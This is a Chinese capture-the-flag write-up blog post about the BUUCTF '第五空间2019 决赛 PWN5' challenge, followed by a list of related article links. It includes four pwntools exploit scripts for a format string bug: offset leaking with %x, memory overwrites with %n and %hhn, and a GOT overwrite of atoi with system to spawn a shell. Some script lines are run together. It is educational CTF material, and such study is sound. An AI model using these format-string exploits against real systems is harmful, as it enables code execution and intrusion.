当前位置: 首页 > ds >正文

字符串格式漏洞-[第五空间2019 决赛]PWN5

之前其实也写了一篇,现在再来看。又有新的收获了,于是记录一下

前置知识

格式化字符串漏洞详解-CSDN博客

讲得很清楚,我就不照猫画虎了

实践

main函数

首先先办法泄露我们输入的地址

from pwn import *
elfpath='level0'
# io=process(elfpath)
io=remote("node5.buuoj.cn",29917)
elf=ELF(elfpath)
context(arch=elf.arch,os=elf.os,log_level = "debug")
# shell_addr=0x400596
payload1=b'a'*(0x20+8)+b'\n %x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x'
payload=payload1
io.sendline(payload)
io.interactive()

偏移量10

后面就是exp的编写,难点是去理解exp

exp1:

from pwn import *
sh=remote('node5.buuoj.cn',29917)
payload = p32(0x804c044)+b'%10$n'
sh.sendline(payload)
sh.recv()
sh.sendline(b'4')
sh.interactive()

我们首先把偏移10,改为

我们需要比较的地址

p32(0x804c044)传入地址

+b'%10$n',10$选取偏移第十的地址,传入我们已经传入的字节数(4)

那么现在比对的就是4

我们传入4就可以成功比对成功

exp2

[第五空间2019 决赛]PWN5-CSDN博客

看我之前博客的,看来当时也没怎么学懂,哈哈

from pwn import *
sh=remote('node5.buuoj.cn',27574)
payload = p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)+b'%11$hhn%10$hhn%13$hhn%12$hhn'
sh.sendline(payload)
sh.sendline(str(0x10101010))
sh.interactive()

首先,我们把10-14个,放好地址。因为我们刚刚IDA可以看见,比对是个dword

然后我们直接挨着地址,用hhn,指定传入一个字节,

那么内存中就是我们之前16 16 16 16 也就是0x10101010

exp3

BUUCTF - [第五空间2019 决赛]PWN5 - 简书

借鉴博客如上

from pwn import *p = process('./pwn5')
elf = ELF('./pwn5')atoi_got = elf.got['atoi']
system_plt = elf.plt['system']payload=fmtstr_payload(10,{atoi_got:system_plt})p.sendline(payload)
p.sendline('/bin/sh\x00')p.interactive()

很清楚的,去拿库函数的got和plt(不懂可以粗俗理解为函数地址,后面再学)

exp4

from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",26486)unk_804C044 = 0x0804C044
payload=fmtstr_payload(10,{unk_804C044:0x1111})
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(0x1111))
p.interactive()

这个更简单明了~

下班

http://www.xdnf.cn/news/3548.html

相关文章:

  • 【 Node.js】 Node.js安装
  • 【无标题】linux的多进程讲解
  • C#中的LINQ:简化数据查询与操作
  • 梳理顶会论文相关的经验贴
  • Linux Shell 重定向与管道符号(>, >>, |)的实现机制
  • GD32F407单片机开发入门(二十五)HC-SR04超声波模块测距实战含源码
  • epoll函数
  • Perforated Backpropagation:神经网络优化的创新技术及PyTorch使用指南
  • TensorFlow深度学习实战——基于循环神经网络的情感分析模型
  • 多模态大语言模型arxiv论文略读(五十二)
  • LangChain4j +DeepSeek大模型应用开发——6 提示词
  • Nginx 核心功能02
  • 小米首个推理大模型开源——Xiaomi MiMo,为推理而战!
  • 体系学习1:C语言与指针1——预定义、进制打印、传参为数组
  • python多进程的使用
  • 机器视觉开发-摄像头扫描二维码
  • 2025五一数学建模C题完整分析论文(共36页)(含模型、可运行代码、数据)
  • 嵌入式产品运行中数据丢失怎么办?
  • SpringBoot云端日记本系统开发实现
  • 记录搭建自己的应用中心-需求看板搭建
  • DeepSeek V3 训练策略:FP8混合精度与多Token预测
  • 电子病历高质量语料库构建方法与架构项目(环境聆听与自动化文档生成篇)
  • AD数据库清理
  • Mem0.ai研究团队开发的全新记忆架构系统“Mem0”正式发布
  • TTL、LRU、LFU英文全称及释义
  • 脑机接口技术:开启人类与机器的全新交互时代
  • LabVIEW异步调用VI介绍
  • 【2025年五一数学建模竞赛】A题 解题思路与模型代码
  • 【Unity】MVP框架的使用例子
  • 使用 MCP(模型上下文协议)和 Claude 在 Node.js 中构建聊天应用程序